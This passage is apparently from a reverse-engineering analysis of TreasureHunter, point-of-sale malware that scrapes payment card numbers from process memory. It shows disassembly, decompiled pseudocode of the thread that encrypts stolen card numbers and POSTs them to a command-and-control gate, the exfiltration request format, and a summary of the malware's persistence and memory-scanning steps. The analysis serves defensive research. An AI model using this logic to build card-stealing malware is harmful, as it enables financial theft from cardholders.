| call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse] ;[l] | | | |
| test eax, eax | | | |
| je 0x40188f ;[h] | | | |
`---------------------------------------------------------------' | | |
f t | | |
'-.---------------------------------------------------------------. .-.----'-----'-----'
| | | |
| | | |
.-----------------------------------------------------------. .--------------------.
| 0x4018d1 ;[p] | | 0x40188f ;[h] |
| ; [0xc:4]=0xffff | | pop edi |
| mov edx, dword [ebp + arg_ch] | | xor eax, eax |
| mov ecx, edi | | pop esi |
| call sub.KERNEL32.dll_ExitProcess_710 ;[n] | | mov esp, ebp |
| push edi | | pop ebp |
| mov esi, eax | | ret |
| ; sym.imp.WINHTTP.dll_WinHttpCloseHandle | `--------------------'
| call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle] ;[o] |
| pop edi |
| mov eax, esi |
| pop esi |
| mov esp, ebp |
| pop ebp |
| ret |
`-----------------------------------------------------------'
Then, if the amount of PANs found is equal to 0 or >= 50 (value from config), the thread sleeps for 60 seconds (hardcoded value). If it found more than 50 credentials, a POST request is prepared in build_request @ 0x004035A0 to periodically send encrypted PANs to the gate :
POST /test/local/gate.php?request=true HTTP/1.1
Content-Type: application/x-www-form-urlencoded
[...]
report=[Encrypted PANs]&id=a18948d649742114cb84de349fe6f1d0
PANs are encrypted with the function @ 0x00402490. Finally, the thread sleeps for 180 seconds (value from config), and starts over. Partial pseudocode of the thread_send_PAN routine @ 0x00402AD0
void __stdcall __noreturn thread_send_PAN(LPVOID lpThreadParameter)
{
while ( 1 )
{
EnterCriticalSection(&CriticalSection);
v1 = dwNbPans;
if ( dwNbPans > 0 )
{
[...]
strPAN = sub_402680(v3, (const char *)v57);
encrypted_PAN = encrypt_str(strPAN, (const char *)dwKey, 0, 1);
v37 = (char *)lpOptional;
v38 = 2 * v54;
*(_DWORD *)lpOptional = 'oper';
*((_WORD *)lpOptional + 2) = 'tr';
*((_BYTE *)lpOptional + 6) = '=';
if ( 2 * v54 > 0 )
{
memmove((char *)lpOptional + 7, encrypted_PAN, v38);
v37 = (char *)lpOptional;
}
*(_DWORD *)&v37[v38 + 7] = '=di&';
v39 = (int)&v37[v38];
v40 = lpName;
v41 = 0;
do
{
*(_BYTE *)(v41 + v39 + 11) = v40[v41];
++v41;
}
while ( v41 < '!' );
v42 = send_request(hConnect, dwRepTrue, lpOptional, 7u);
v43 = (char *)v42;
if ( v42 && strstr(v42, "success") && bDebug == 1 )
MessageBoxW(0, L"successfully sent the dumps!", L"Debug Message", 0);
free((void *)strPAN);
free(encrypted_PAN);
free(v43);
dwNbPans = 0;
}
LeaveCriticalSection(&CriticalSection);
Sleep(dw180000_0);
Recap of TreasureHunter execution flow
Here is a small r2 script you can load (-i script.r2) to rename interesting functions with more informative names :
afn check_luhn @ 0x00403040
afn check_pattern @ 0x004031d0
afn check_service_codes @ 0x00403040
afn parse_track1 @ 0x00403280
afn parse_track2 @ 0x00403320
afn check_pan @ 0x004033a0
afn to_int @ 0x00401260
afn send_request @ 0x00401840
afn derivate_from_productid @ 0x00401F10
afn create_file @ 0x004021A0
afn copy_file @ 0x00402380
afn decrypt_arg @ 0x004023F0
afn encrypt_str @ 0x00402490
afn check_format_b @ 0x00403140
afn build_request @ 0x004035A0
afn search_process_mem @ 0x004038A0
afn search_process @ 0x00403BD0
af @ 0x00403DB0; afn clingfish @ 0x00403DB0
afn copy_to_appdata @ 0x00404120
afn init_malware @ 0x004045F0
afn check_number_PAN @ 0x004028C0
af @ 0x00402AD0; afn thread_send_pan @ 0x00402AD0
Summary of the malware MO :
- 0x0040523B, start
- Checks PE header and gets environment strings
- 0x004045F0, init_malware
- Creates mutex derivated from the system's product ID (or from a hardcoded value)
- Copies to %APPDATA%, starts new process with encrypted path to the old one as a parameter
- New process decrypts the command line argument and deletes original file
- Tries to elevate itself to get Debug privileges
- Tries to reach the CnC gate
- 0x00401440, load_config
- Waits for 10 minutes (value in config)
- 0x00403BD0, search_process
- Lists all running processes and reads their memory
- 0x004038A0, search_process_mem
- Reads process memory and searches for PAN
- 0x004033A0, check_pan
- Looks for PAN track1 / track2 parsing in memory
- 0x00403280, parse_track1
- 0x00403320, parse_track2
- 0x00403040, check_luhn
- 0x00401840, send_request
Here are some function calls to give you an idea of the malware's call flow :
[0x004038a0]> s search_process_mem
[0x004038a0]> pds
0x004038a8 call fcn.0040a0f0
0x004038ad "N.@....D.#A"
0x004038d1 call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
0x0040393b call dword [sym.imp.KERNEL32.dll_ReadProcessMemory] "..."
0x00403985 call check_pan
[0x004033a0]> pds
0x004033fb call parse_track2
0x00403417 call parse_track1
0x00403433 call sub.KERNEL32.dll_EnterCriticalSection_8c0
[0x004033a0]> s parse_track2
[0x00403320]> pds
0x00403331 call check_luhn
0x00403352 call check_format_b
0x00403363 call check_pattern
0x00403377 call fcn.00403250
[0x00403280]> pds
0x0040328e call check_luhn
0x004032d8 call check_format_b
0x004032e9 call check_pattern
0x004032fa call fcn.00403250
[0x00403280]> pds
0x0040328e call check_luhn
0x004032d8 call check_format_b
0x004032e9 call check_pattern
0x004032fa call fcn.00403250
[0x00403140]> s check_pattern
[0x004031d0]> pds
0x00403209 call check_service_codes